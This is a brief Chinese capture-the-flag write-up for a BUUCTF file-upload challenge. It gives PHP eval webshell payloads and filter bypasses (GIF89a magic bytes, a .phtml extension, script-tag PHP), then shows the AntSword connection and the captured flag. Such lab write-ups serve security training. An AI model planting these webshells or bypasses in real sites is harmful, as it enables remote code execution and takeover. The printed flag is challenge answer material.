buuctf-web-[极客大挑战 2019]Upload1

 先上传一个无内容的jpg文件

文件里面要加GIF89a

上传了一个小马代码为

<?=@eval($_POST['cmd']);

不能包含<?，所以

换另一个小马代码

<script language="php">@eval($_POST['cmd']);phpinfo();</script>

第一个点，修改phtml，第二个点GIF89a（这个点特别的重要，上面我写的代码没有包含），第三个点要用<script>包含

bp后缀名修改phtml，加上下面代码

GIF89a
<script language="php">@eval($_POST['cmd']);phpinfo();</script>

上传的文件夹upload，找到我们上传的文件 

scriptcmd.phtml是我们上传的webshell

我写的webshell里面加了phpinfo();

蚁剑连接，获得flag

flag{5fdfe18f-ff94-4a5c-be2b-213cb4f6b374}